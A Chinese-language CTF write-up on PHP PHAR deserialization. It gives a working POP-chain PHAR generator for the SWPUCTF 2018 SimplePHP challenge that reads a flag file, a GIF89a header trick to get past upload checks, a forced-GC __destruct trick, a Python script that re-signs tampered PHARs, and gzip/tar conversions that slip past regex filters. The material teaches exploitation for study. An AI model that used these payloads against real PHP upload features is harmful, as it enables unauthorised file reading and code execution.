PHAR反序列化进阶

发布于 2023-03-16  803 次阅读


  • 前面的报告中提到了phar反序列化,但是只是写了利用方式,这里将拓展phar的基础原理和强制GC,数据污染,绕过过滤

PHAR基础

  • phar类似于压缩包,在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
  • phar的内容由4部分组成
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。

manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化
的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。

content:被压缩文件的内容

signature (可空):签名,放在末尾。
  • 例如,以下代码创建了一个phar对象并生成了一个phar文件
$phar = new Phar("test3.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($c1e4r);//将自定义的meta-data存入manifest
$phar->addFromString("zz.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
  • 可以看到,压缩文件的内容是zz.txt,test用来生成phar文件的签名,而生成的二进制文件的文件头就是我们设置的stub

  • 所以如果文件上传时检测了文件头,也可以
GIF格式验证可以通过在文件头部添加GIF89a绕过

1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
  • phar反序列化的产生在于$phar->setMetadata($c1e4r),用户将自己构造的数据写入了phar文件的Meta-data,而这部分数据会在phar文件被某些函数处理时会自动反序列化,下面是危险函数列表

  • 这类题目一般会提供一个文件上传的环境,来上传phar文件,同时对phar文件的危险函数处理则可能提供文件包含函数来执行危险函数,此时可以手搓phar协议以及相关绕过(前面已经提到了),或者题目会使用危险函数自动处理phar文件
  • 同时phar文件并不依赖后缀名

[SWPUCTF 2018]SimplePHP

  • 用本题来实操一下,之前buu刷题3的报告里面已经写了全步骤,这里直接跳到phar这个地方
alert("上传成功!");';
}

function upload_file()
{
    global $_FILES;
    if (upload_file_check()) {
        upload_file_do();
    }
}

function upload_file_check()
{
    global $_FILES;
    $allowed_types = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (empty($extension)) {
        //echo "

请选择上传的文件:" . "

"; } else { if (in_array($extension, $allowed_types)) { return true; } else { echo ''; return false; } } }

  • 文件上传的php限制了只能上传图片类的文件,并且文件名会被修改成jpg后缀,但上面提到这并不影响phar的meta-data的反序列化,所以生成phar文件后修改成jpg后缀即可

  • 同时题目提供了file参数来进行文件包含

  • 原pop链为

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;
  • 加上生成phar的poc
<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;

$phar = new Phar("test3.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($c1e4r);//将自定义的meta-data存入manifest
$phar->addFromString("zz.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
?>
  • 生成的phar文件后缀改成jpg文件,上传后到upload文件夹看看有没有成功

  • ?file=phar://upload/文件名即可

PHAR进阶

gc回收与利用

  • 在反序列化的应用中,php中一个类的实例消失或者该实例的命名空间指向了另一个类,就会销毁这个类的实例从而触发destruct方法,举个例子
<?php
class show{
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."Destroy...\n"; }
}
new show('1');
$a = new show('2');
$a = new show('3');
echo "————————————\n";
1Destroy...
2Destroy...
————————————
3Destroy...
  • 1因为没有实例被马上销毁了,3的实例占了2的实例的命名空间,2被销毁了,然后触发echo,最后程序结束,3也被销毁

  • 那么就可以利用数组强制执行某个类的destruct,将数组的第一个元素作为类的实例化,再将数组的值赋为null即可

  • 只需要修改phar文件的明文a:2:{i:0;O:7:"getflag":{}i:0;N;}就可以确保触发getflag类的destract方法
  • 修改之后要修复phar文件的签名,不然这个文件是不能用的,下面将提到如何修复签名

phar签名修复

  • 对phar文件的内容篡改后,这个文件的内容与签名不匹配会导致这个文件不起作用
  • 下面是完整的16进制信息

  • 这个部分是结尾的GBMB,属于固定格式

  • 这个部分是显示的摘要算法,02000000是sha1算法

  • 大部分的教程都是用test字符串生成的签名,test对应74657374

  • 后面的部分就是文件的sha1值了,要修复的就是这个部分,对应16进制的倒数28位至倒数8位,下面贴一个脚本自动修复sha1的,其他摘要算法还得现查
import hashlib

with open('phar.phar', 'rb') as f:
    content = f.read()

text = content[:-28]
end = content[-8:]
sig = hashlib.sha1(text).digest()

with open('phar_new.phar', 'wb+') as f:
    f.write(text + sig + end)
  • 还有另一种利用linux下tar命令处理phar文件的办法,这种情况下phar文件将不会带有签名,不存在修复的问题,下面的脏数据处理会提到

正则绕过

  • phar的内容是明文,可以被过滤,比如题目干脆直接过滤了老文件头\<?php __HALT_COMPILER(); ?>
  • 有5种使用phar文件的方法

gzip

  • 将phar文件进行gzip压缩 ,使用压缩后phar文件同样也能反序列化 (常用)
linux下使用命令gzip phar.phar 生成

zip

  • 不过这种方法在底层对文件内容有限制,还是少用
$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE); 
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();

脏数据绕过

  • phar文件自身就可以绕过前面的已知脏数据

  • 比如前面提到的强制gc就向phar文件中塞入了脏数据,导致phar文件无法解析,只需要改文件签名就可以了

  • 同时将phar文件转换成以下格式就可以绕过后面的脏数据

$phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2);//会生成xxxx.phar.tar.bz2
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//会生成xxxx.phar.tar.gz
$phar = $phar->convertToExecutable(Phar::ZIP);//会生成xxxx.phar.zip
  • 只需要在这里插入即可
$phar = new Phar("miao.phar");//后缀名必须为phar
/********
在这里插入$phar = $phar->convertToExecutable(Phar::TAR);
********/
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest
$phar->addFromString("zz.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
  • 没找到环境,暂时不测试了,最好用tar,网上说zip可以处理文件头,但是不能绕过脏数据
届ける言葉を今は育ててる
最后更新于 2024-02-07